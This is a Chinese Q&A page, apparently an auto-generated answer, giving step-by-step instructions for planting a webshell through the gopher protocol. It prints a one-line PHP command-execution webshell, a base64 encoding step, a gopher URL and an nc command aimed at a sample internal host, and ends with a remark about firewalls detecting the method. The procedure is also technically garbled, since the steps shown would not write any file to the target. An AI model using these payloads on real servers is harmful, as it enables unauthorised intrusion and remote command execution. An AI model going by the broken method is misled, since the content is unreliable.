使用gopher协议写webshell的详细流程并执行
时间: 2024-03-07 09:49:04 浏览: 101
使用 Gopher 协议写 Webshell 的详细流程如下:
1. 编写 Webshell 脚本:首先需要编写一个 Webshell 脚本,可以使用 PHP、Perl、Python 等语言编写,脚本需要实现远程命令执行和文件上传等功能。例如,以下是一个简单的 PHP Webshell:
```
<?php echo system($_GET['cmd']); ?>
```
2. 将 Webshell 脚本进行 base64 编码:使用 base64 工具将 Webshell 脚本进行编码,以便后面将其插入到 Gopher URL 中。例如,在 Linux 系统上可以使用以下命令进行编码:
```
cat shell.php | base64
```
3. 构造 Gopher URL:将编码后的 Webshell 脚本插入到 Gopher URL 中,形如 `gopher://hostname:port/_<base64-encoded-php-script>`。其中,`hostname` 和 `port` 分别为目标主机和端口号,`base64-encoded-php-script` 为编码后的 Webshell 脚本。
例如,假设 Webshell 脚本编码后的内容为 `PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==`,目标主机为 `192.168.1.100`,端口号为 `80`,则构造的 Gopher URL 如下:
```
gopher://192.168.1.100:80/_PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==
```
4. 发送 Gopher 请求:使用浏览器或者 curl 等工具访问构造的 Gopher URL,从而触发 Webshell 脚本执行。例如,在 Linux 系统上可以使用以下命令发送 Gopher 请求:
```
printf "GET /_%s HTTP/1.0\r\n\r\n" "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==" | nc -w 1 192.168.1.100 80
```
其中,`-w 1` 表示设置超时时间为 1 秒,`192.168.1.100` 和 `80` 分别为目标主机和端口号。
5. 执行命令或者上传文件:发送 Gopher 请求后,在浏览器的地址栏中输入相应的命令参数,即可执行远程命令;或者上传文件到目标服务器。例如,输入以下命令参数可以执行 `ls` 命令:
```
?cmd=ls%20-la
```
完整的步骤如下所示:
1. 编写 PHP Webshell 脚本:
```php
<?php echo system($_GET['cmd']); ?>
```
2. 使用 base64 工具编码 Webshell 脚本:
```
cat shell.php | base64
```
编码后的结果为:
```
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==
```
3. 构造 Gopher URL:
```
gopher://192.168.1.100:80/_PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==
```
4. 发送 Gopher 请求:
```
printf "GET /_%s HTTP/1.0\r\n\r\n" "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==" | nc -w 1 192.168.1.100 80
```
5. 在浏览器的地址栏中输入命令参数 `?cmd=ls%20-la`,即可执行 `ls -la` 命令,输出目录的详细信息。
需要注意的是,使用 Gopher 协议写 Webshell 存在一定的风险,容易被防火墙和安全设备识别和拦截。因此,在实际应用中,需要根据具体情况进行选择和调整。
阅读全文